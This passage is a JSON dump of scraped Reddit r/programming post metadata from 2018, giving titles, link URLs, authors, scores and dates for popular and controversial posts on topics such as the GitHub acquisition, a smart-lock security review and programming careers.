  "url": "https://github.com/minimaxir/big-list-of-naughty-strings",
  "permalink": "https://www.reddit.com/r/programming/comments/9xla2j/naughty_strings_a_list_of_strings_which_have_a/",
  "title": "Naughty Strings - A list of strings which have a high probability of causing issues when used as user-input data",
  "body": null,
  "author": "kunalag129",
  "subreddit": "programming",
  "score": 3037,
  "upvoteRatio": 0.97,
  "numComments": 257,
  "createdAt": "2018-11-16T11:12:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/minimaxir/big-list-of-naughty-strings",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9x096s",
  "url": "https://news.ycombinator.com/item?id=18442941",
  "permalink": "https://www.reddit.com/r/programming/comments/9x096s/an_insane_answer_to_whats_the_largest_amount_of/",
  "title": "An insane answer to \"What's the largest amount of bad code you have ever seen work?\"",
  "body": null,
  "author": "jailbird",
  "subreddit": "programming",
  "score": 5904,
  "upvoteRatio": 0.96,
  "numComments": 1144,
  "createdAt": "2018-11-14T13:49:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.ycombinator.com/item?id=18442941",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9vxjzn",
  "url": "https://youtu.be/TVHcdgrqbHE?t=439",
  "permalink": "https://www.reddit.com/r/programming/comments/9vxjzn/microsoft_to_embrace_extend_extinguish_linux/",
  "title": "Microsoft to \"Embrace, Extend, Extinguish\" Linux",
  "body": null,
  "author": "jamestaylr",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 69,
  "createdAt": "2018-11-10T20:25:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/TVHcdgrqbHE?t=439",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9tqxd9",
  "url": "https://www.economist.com/graphic-detail/2018/07/26/python-is-becoming-the-worlds-most-popular-coding-language",
  "permalink": "https://www.reddit.com/r/programming/comments/9tqxd9/python_is_becoming_the_worlds_most_popular_coding/",
  "title": "Python is becoming the world’s most popular coding language",
  "body": null,
  "author": "monica_b1998",
  "subreddit": "programming",
  "score": 4641,
  "upvoteRatio": 0.91,
  "numComments": 1305,
  "createdAt": "2018-11-03T03:17:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.economist.com/graphic-detail/2018/07/26/python-is-becoming-the-worlds-most-popular-coding-language",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9s4k7q",
  "url": "https://medium.com/datadriveninvestor/why-the-nsa-called-me-after-midnight-and-requested-my-source-code-f7076c59ab3d",
  "permalink": "https://www.reddit.com/r/programming/comments/9s4k7q/why_the_nsa_called_me_after_midnight_and/",
  "title": "Why the NSA Called Me After Midnight and Requested My Source Code",
  "body": null,
  "author": "kunalag129",
  "subreddit": "programming",
  "score": 4443,
  "upvoteRatio": 0.92,
  "numComments": 999,
  "createdAt": "2018-10-28T16:42:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/datadriveninvestor/why-the-nsa-called-me-after-midnight-and-requested-my-source-code-f7076c59ab3d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9rdfqz",
  "url": "https://qz.com/1437623/600-free-online-courses-you-can-take-from-universities-worldwide/",
  "permalink": "https://www.reddit.com/r/programming/comments/9rdfqz/190_universities_just_launched_600_free_online/",
  "title": "190 universities just launched 600 free online courses. Here’s the full list.",
  "body": null,
  "author": "jailbird",
  "subreddit": "programming",
  "score": 4814,
  "upvoteRatio": 0.97,
  "numComments": 153,
  "createdAt": "2018-10-25T19:27:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://qz.com/1437623/600-free-online-courses-you-can-take-from-universities-worldwide/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9pkz50",
  "url": "https://logrocket.com/blog/infinite-scroll",
  "permalink": "https://www.reddit.com/r/programming/comments/9pkz50/stop_building_websites_with_infinite_scroll/",
  "title": "Stop building websites with infinite scroll!",
  "body": null,
  "author": "javinpaul",
  "subreddit": "programming",
  "score": 3065,
  "upvoteRatio": 0.92,
  "numComments": 511,
  "createdAt": "2018-10-19T15:40:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://logrocket.com/blog/infinite-scroll",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9oxyji",
  "url": "https://www.gatesnotes.com/About-Bill-Gates/Remembering-Paul-Allen",
  "permalink": "https://www.reddit.com/r/programming/comments/9oxyji/bill_gates_tribute_to_his_friend_paul_allen/",
  "title": "Bill Gates' tribute to his friend Paul Allen",
  "body": null,
  "author": "orphord",
  "subreddit": "programming",
  "score": 4395,
  "upvoteRatio": 0.94,
  "numComments": 395,
  "createdAt": "2018-10-17T11:54:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gatesnotes.com/About-Bill-Gates/Remembering-Paul-Allen",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9ol19c",
  "url": "https://www.reddit.com/r/TwoXChromosomes/comments/9ock1w/my_experience_as_a_female_engineer_in_the_tech/",
  "permalink": "https://www.reddit.com/r/programming/comments/9ol19c/my_experience_as_a_female_engineer_in_the_tech/",
  "title": "My experience as a female engineer in the tech industry [x-post /r/TwoXChromosomes]",
  "body": null,
  "author": "stforumtroll",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 103,
  "createdAt": "2018-10-16T06:31:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/TwoXChromosomes/comments/9ock1w/my_experience_as_a_female_engineer_in_the_tech/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9od82k",
  "url": "https://hackernoon.com/how-i-hacked-modern-vending-machines-43f4ae8decec",
  "permalink": "https://www.reddit.com/r/programming/comments/9od82k/how_i_hacked_modern_vending_machines/",
  "title": "How I hacked modern Vending Machines",
  "body": null,
  "author": "weloveprogramming",
  "subreddit": "programming",
  "score": 3163,
  "upvoteRatio": 0.93,
  "numComments": 344,
  "createdAt": "2018-10-15T14:36:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackernoon.com/how-i-hacked-modern-vending-machines-43f4ae8decec",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9o5eu6",
  "url": "https://www.zdnet.com/article/around-62-of-all-internet-sites-will-run-an-unsupported-php-version-in-10-weeks/",
  "permalink": "https://www.reddit.com/r/programming/comments/9o5eu6/around_62_of_all_internet_sites_will_run_an/",
  "title": "Around 62% of all Internet sites will run an unsupported PHP version in 10 weeks",
  "body": null,
  "author": "jailbird",
  "subreddit": "programming",
  "score": 4000,
  "upvoteRatio": 0.96,
  "numComments": 450,
  "createdAt": "2018-10-14T19:10:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/around-62-of-all-internet-sites-will-run-an-unsupported-php-version-in-10-weeks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9np6bb",
  "url": "https://www.theverge.com/2018/10/10/17959978/microsoft-makes-its-60000-patents-open-source-to-help-linux",
  "permalink": "https://www.reddit.com/r/programming/comments/9np6bb/microsoft_makes_its_60000_patents_open_source_to/",
  "title": "Microsoft makes its 60,000 patents open source to help Linux",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 3032,
  "upvoteRatio": 0.95,
  "numComments": 426,
  "createdAt": "2018-10-12T23:19:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theverge.com/2018/10/10/17959978/microsoft-makes-its-60000-patents-open-source-to-help-linux",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9mhv8a",
  "url": "https://medium.com/@alexgolec/google-interview-questions-deconstructed-the-knights-dialer-f780d516f029",
  "permalink": "https://www.reddit.com/r/programming/comments/9mhv8a/google_engineer_breaks_down_the_interview/",
  "title": "Google engineer breaks down the interview questions he used before they were leaked. Lots of programming and interview advice.",
  "body": null,
  "author": "jfasi",
  "subreddit": "programming",
  "score": 3752,
  "upvoteRatio": 0.97,
  "numComments": 896,
  "createdAt": "2018-10-08T19:07:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@alexgolec/google-interview-questions-deconstructed-the-knights-dialer-f780d516f029",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9lyplq",
  "url": "https://minecraft.net/en-us/article/programmers-play-minecrafts-inner-workings",
  "permalink": "https://www.reddit.com/r/programming/comments/9lyplq/microsoft_open_sources_parts_of_minecraft_java/",
  "title": "Microsoft Open Sources Parts of Minecraft: Java Edition",
  "body": null,
  "author": "Nobody_1707",
  "subreddit": "programming",
  "score": 3140,
  "upvoteRatio": 0.95,
  "numComments": 388,
  "createdAt": "2018-10-06T19:23:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://minecraft.net/en-us/article/programmers-play-minecrafts-inner-workings",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9l5sxn",
  "url": "https://youtu.be/H-U96W89Z90",
  "permalink": "https://www.reddit.com/r/programming/comments/9l5sxn/jesus_h_christ_this_guy_reverse_engineered/",
  "title": "Jesus H. Christ. This guy reverse engineered Pokemon Red....... with Minecraft command blocks. Yep you heard that right.",
  "body": null,
  "author": "Chaoscrasher",
  "subreddit": "programming",
  "score": 6955,
  "upvoteRatio": 0.9,
  "numComments": 687,
  "createdAt": "2018-10-03T21:58:19.000Z",
  "isNsfw": false,
  "flair": "Trending Terrible Title",
  "media": {
    "kind": "link",
    "url": "https://youtu.be/H-U96W89Z90",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9jp7tm",
  "url": "https://medium.com/@plainprogrammer/overtime-hurts-your-software-your-team-1c16c99e28aa",
  "permalink": "https://www.reddit.com/r/programming/comments/9jp7tm/overtime_hurts_your_software_your_team_joe_really/",
  "title": "Overtime Hurts Your Software & Your Team - “Joe really went that extra mile to help us meet our goal. Staying late, coming in on weekends. He really sacrificed for our mission.” Overtime is a sign of problems that should never receive praise",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 4301,
  "upvoteRatio": 0.95,
  "numComments": 513,
  "createdAt": "2018-09-28T17:56:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@plainprogrammer/overtime-hurts-your-software-your-team-1c16c99e28aa",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9fzlbm",
  "url": "https://jaxenter.com/impostor-syndrome-survey-149402.html",
  "permalink": "https://www.reddit.com/r/programming/comments/9fzlbm/impostor_syndrome_affects_almost_58_of_tech/",
  "title": "'Impostor syndrome' affects almost 58% of tech professionals",
  "body": null,
  "author": "pidoid",
  "subreddit": "programming",
  "score": 4802,
  "upvoteRatio": 0.95,
  "numComments": 884,
  "createdAt": "2018-09-15T07:07:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jaxenter.com/impostor-syndrome-survey-149402.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9fkb40",
  "url": "https://interviewing.io/recordings",
  "permalink": "https://www.reddit.com/r/programming/comments/9fkb40/replays_of_technical_interviews_with_engineers/",
  "title": "Replays of technical interviews with engineers from Google, Facebook, and more",
  "body": null,
  "author": "alinelerner",
  "subreddit": "programming",
  "score": 2958,
  "upvoteRatio": 0.97,
  "numComments": 642,
  "createdAt": "2018-09-13T18:03:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://interviewing.io/recordings",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9dhru3",
  "url": "https://www.polemicdigital.com/google-amp-go-to-hell/",
  "permalink": "https://www.reddit.com/r/programming/comments/9dhru3/google_wants_websites_to_adopt_amp_as_the_default/",
  "title": "Google wants websites to adopt AMP as the default approach to building webpages. Tell them no.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4015,
  "upvoteRatio": 0.94,
  "numComments": 830,
  "createdAt": "2018-09-06T11:56:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.polemicdigital.com/google-amp-go-to-hell/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9cb3b3",
  "url": "https://medium.com/@rantydave/modern-c-for-python-people-4a70cfcfe285",
  "permalink": "https://www.reddit.com/r/programming/comments/9cb3b3/modern_c_for_python_people_a_quick_introduction/",
  "title": "Modern C++ for Python people (a quick introduction)",
  "body": null,
  "author": "WasterDave",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 65,
  "createdAt": "2018-09-02T10:16:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@rantydave/modern-c-for-python-people-4a70cfcfe285",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_99e0yw",
  "url": "https://github.com/ValveSoftware/Proton",
  "permalink": "https://www.reddit.com/r/programming/comments/99e0yw/proton_a_modified_version_of_wine_for_playing/",
  "title": "Proton, a modified version of WINE for playing Windows games on Linux... Officially by Valve.",
  "body": null,
  "author": "FlashDaggerX",
  "subreddit": "programming",
  "score": 5403,
  "upvoteRatio": 0.97,
  "numComments": 670,
  "createdAt": "2018-08-22T14:56:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/ValveSoftware/Proton",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_950n15",
  "url": "https://www.cnbc.com/2018/08/01/amazon-plans-to-move-off-oracle-software-by-early-2020.html",
  "permalink": "https://www.reddit.com/r/programming/comments/950n15/amazon_to_ditch_oracle_by_2020/",
  "title": "Amazon to ditch Oracle by 2020",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 3865,
  "upvoteRatio": 0.96,
  "numComments": 777,
  "createdAt": "2018-08-06T11:54:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cnbc.com/2018/08/01/amazon-plans-to-move-off-oracle-software-by-early-2020.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_93tpbn",
  "url": "https://www.quantamagazine.org/teenager-finds-classical-alternative-to-quantum-recommendation-algorithm-20180731/",
  "permalink": "https://www.reddit.com/r/programming/comments/93tpbn/18yearold_ewin_tang_has_proven_that_classical/",
  "title": "18-year-old Ewin Tang has proven that classical computers can solve the “recommendation problem” nearly as fast as quantum computers. The result eliminates one of the best examples of quantum speedup.",
  "body": null,
  "author": "rieslingatkos",
  "subreddit": "programming",
  "score": 3550,
  "upvoteRatio": 0.95,
  "numComments": 385,
  "createdAt": "2018-08-01T22:27:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.quantamagazine.org/teenager-finds-classical-alternative-to-quantum-recommendation-algorithm-20180731/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_92i2gw",
  "url": "https://youtu.be/ReVeUvwTGdU",
  "permalink": "https://www.reddit.com/r/programming/comments/92i2gw/3_years_of_cs_in_8_minutes/",
  "title": "3 years of CS in 8 minutes",
  "body": null,
  "author": "H0dah",
  "subreddit": "programming",
  "score": 361,
  "upvoteRatio": 0.58,
  "numComments": 408,
  "createdAt": "2018-07-28T00:50:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ReVeUvwTGdU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_91i0mc",
  "url": "https://twitter.com/cpeterso/status/1021626510296285185",
  "permalink": "https://www.reddit.com/r/programming/comments/91i0mc/youtube_page_load_is_5x_slower_in_firefox_and/",
  "title": "YouTube page load is 5x slower in Firefox and Edge than in Chrome because YouTube's Polymer redesign relies on the deprecated Shadow DOM v0 API only implemented in Chrome.",
  "body": null,
  "author": "malicious_turtle",
  "subreddit": "programming",
  "score": 23741,
  "upvoteRatio": 0.95,
  "numComments": 1840,
  "createdAt": "2018-07-24T14:46:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/cpeterso/status/1021626510296285185",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_90qs4q",
  "url": "https://v.redd.it/v899qwd72cb11",
  "permalink": "https://www.reddit.com/r/programming/comments/90qs4q/fascinating_illustration_of_deep_learning_and/",
  "title": "Fascinating illustration of Deep Learning and LiDAR perception in Self Driving Cars and other Autonomous Vehicles",
  "body": null,
  "author": "kshitijmishra23",
  "subreddit": "programming",
  "score": 6930,
  "upvoteRatio": 0.96,
  "numComments": 531,
  "createdAt": "2018-07-21T17:06:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "video",
    "url": "https://v.redd.it/v899qwd72cb11/DASH_1_2_M?source=fallback",
    "thumbnail": null,
    "isVideo": true,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8y8tkd",
  "url": "https://engineering.videoblocks.com/web-architecture-101-a3224e126947",
  "permalink": "https://www.reddit.com/r/programming/comments/8y8tkd/the_basic_architecture_concepts_i_wish_i_knew/",
  "title": "The basic architecture concepts I wish I knew when I was getting started as a web developer • Web Architecture 101",
  "body": null,
  "author": "abhimanyusaxena",
  "subreddit": "programming",
  "score": 4110,
  "upvoteRatio": 0.96,
  "numComments": 200,
  "createdAt": "2018-07-12T11:10:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://engineering.videoblocks.com/web-architecture-101-a3224e126947",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8xinnx",
  "url": "https://softwareengineering.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed",
  "permalink": "https://www.reddit.com/r/programming/comments/8xinnx/which_hashing_algorithm_is_best_for_uniqueness/",
  "title": "Which hashing algorithm is best for uniqueness and speed? Ian Boyd's answer (top voted) is one of the best comments I've seen on Stackexchange.",
  "body": null,
  "author": "r3djak",
  "subreddit": "programming",
  "score": 3257,
  "upvoteRatio": 0.96,
  "numComments": 287,
  "createdAt": "2018-07-10T00:45:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://softwareengineering.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8x1dgg",
  "url": "https://www.karllhughes.com/posts/plumbing",
  "permalink": "https://www.reddit.com/r/programming/comments/8x1dgg/the_bulk_of_software_engineering_in_2018_is_just/",
  "title": "The Bulk of Software Engineering in 2018 is Just Plumbing",
  "body": null,
  "author": "humpier",
  "subreddit": "programming",
  "score": 2916,
  "upvoteRatio": 0.93,
  "numComments": 637,
  "createdAt": "2018-07-08T13:18:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.karllhughes.com/posts/plumbing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8sqz12",
  "url": "https://bugs.mysql.com/bug.php?id=11472",
  "permalink": "https://www.reddit.com/r/programming/comments/8sqz12/happy_13th_birthday_to_mysql_bug_11472/",
  "title": "Happy 13th birthday to MySQL bug #11472!",
  "body": null,
  "author": "Extras",
  "subreddit": "programming",
  "score": 3784,
  "upvoteRatio": 0.96,
  "numComments": 464,
  "createdAt": "2018-06-21T11:08:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.mysql.com/bug.php?id=11472",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8qt1iv",
  "url": "https://www.pentestpartners.com/security-blog/totally-pwning-the-tapplock-smart-lock/",
  "permalink": "https://www.reddit.com/r/programming/comments/8qt1iv/lets_broadcast_the_key_over_bluetooth_oh_and_use/",
  "title": "“Let’s broadcast the key over Bluetooth. Oh, and use HTTP, no one will know” — the creators of the Tapplock, probably.",
  "body": null,
  "author": "DecidedlyAmbigous",
  "subreddit": "programming",
  "score": 5618,
  "upvoteRatio": 0.96,
  "numComments": 428,
  "createdAt": "2018-06-13T14:55:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pentestpartners.com/security-blog/totally-pwning-the-tapplock-smart-lock/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8q3kp8",
  "url": "https://arstechnica.com/tech-policy/2018/06/inventor-says-google-is-patenting-work-he-put-in-the-public-domain/",
  "permalink": "https://www.reddit.com/r/programming/comments/8q3kp8/inventor_says_google_is_patenting_work_he_put_in/",
  "title": "Inventor says Google is patenting work he put in the public domain",
  "body": null,
  "author": "Balance-",
  "subreddit": "programming",
  "score": 18067,
  "upvoteRatio": 0.96,
  "numComments": 817,
  "createdAt": "2018-06-10T20:23:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/tech-policy/2018/06/inventor-says-google-is-patenting-work-he-put-in-the-public-domain/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8q17e1",
  "url": "https://github.com/DovAmir/awesome-design-patterns",
  "permalink": "https://www.reddit.com/r/programming/comments/8q17e1/github_dovamirawesomedesignpatterns_a_curated/",
  "title": "GitHub - DovAmir/awesome-design-patterns: A curated list of software and architecture related design patterns.",
  "body": null,
  "author": "turaaa",
  "subreddit": "programming",
  "score": 203,
  "upvoteRatio": 0.58,
  "numComments": 93,
  "createdAt": "2018-06-10T14:40:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/DovAmir/awesome-design-patterns",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8phj1y",
  "url": "https://www.linuxfoundation.org/blog/microsoft-buys-github-the-linux-foundations-reaction/",
  "permalink": "https://www.reddit.com/r/programming/comments/8phj1y/microsoft_buys_github_the_linux_foundations/",
  "title": "Microsoft Buys GitHub: The Linux Foundation's Reaction - The Linux Foundation",
  "body": null,
  "author": "timmy002",
  "subreddit": "programming",
  "score": 2934,
  "upvoteRatio": 0.93,
  "numComments": 1058,
  "createdAt": "2018-06-08T06:00:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linuxfoundation.org/blog/microsoft-buys-github-the-linux-foundations-reaction/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8olsk2",
  "url": "https://codestera.com/blog/stop-whining-microsoft-buying-github/",
  "permalink": "https://www.reddit.com/r/programming/comments/8olsk2/stop_whining_about_microsoft_buying_github/",
  "title": "Stop whining about Microsoft buying Github, everything will be O.K.",
  "body": null,
  "author": "lackoftactics",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.53,
  "numComments": 54,
  "createdAt": "2018-06-04T22:58:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codestera.com/blog/stop-whining-microsoft-buying-github/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8ob3cl",
  "url": "https://www.bloomberg.com/news/articles/2018-06-03/microsoft-is-said-to-have-agreed-to-acquire-coding-site-github",
  "permalink": "https://www.reddit.com/r/programming/comments/8ob3cl/microsoft_is_said_to_have_agreed_to_acquire/",
  "title": "Microsoft Is Said to Have Agreed to Acquire Coding Site GitHub",
  "body": null,
  "author": "clubdirthill",
  "subreddit": "programming",
  "score": 8643,
  "upvoteRatio": 0.95,
  "numComments": 1817,
  "createdAt": "2018-06-03T19:42:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bloomberg.com/news/articles/2018-06-03/microsoft-is-said-to-have-agreed-to-acquire-coding-site-github",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8o7ajc",
  "url": "https://www.youtube.com/watch?v=HyznrdDSSGM",
  "permalink": "https://www.reddit.com/r/programming/comments/8o7ajc/ever_wonder_how_computers_work_this_guy_builds/",
  "title": "Ever wonder how computers work? This guy builds one step by step and explains how every part works in a way that anyone can understand. I no longer just say \"it's magic.\"",
  "body": null,
  "author": "FollowSteph",
  "subreddit": "programming",
  "score": 4411,
  "upvoteRatio": 0.95,
  "numComments": 209,
  "createdAt": "2018-06-03T08:34:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=HyznrdDSSGM",
    "thumbnail": null,
